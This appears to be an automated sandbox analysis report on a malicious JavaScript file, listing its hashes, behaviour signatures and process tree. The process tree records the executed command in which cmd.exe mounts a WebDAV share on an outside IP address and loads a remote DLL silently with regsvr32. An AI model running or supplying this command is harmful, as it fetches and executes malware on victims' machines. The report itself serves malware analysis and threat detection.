Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/07/2024, 01:53

General

  • Target

    3f3938785db57ce3e2779fab49b58f09a40f7bb15a2337e6c821a1bbb844667b.js

  • Size

    4KB

  • MD5

    e55c494f15973b7d79cc8be503c3170a

  • SHA1

    27b74c5618a83334129c6cc8dbda5d3ee1b72df5

  • SHA256

    3f3938785db57ce3e2779fab49b58f09a40f7bb15a2337e6c821a1bbb844667b

  • SHA512

    5ba506c4a1a50507bfdaae3ce104be931fff17455768830227271aef4c2af1dd8ff88a4dfae813610af93c9e6996678c1e1e72d7619c90ffb0c4fe7bab32f9f9

  • SSDEEP

    96:nTqcmdpFdOQlVJ3voMALBAkMloMALB0Jlnr2:Ty3VsLBAk1LBe2

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\3f3938785db57ce3e2779fab49b58f09a40f7bb15a2337e6c821a1bbb844667b.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2720
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\2341224714084.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2800
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:3016

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads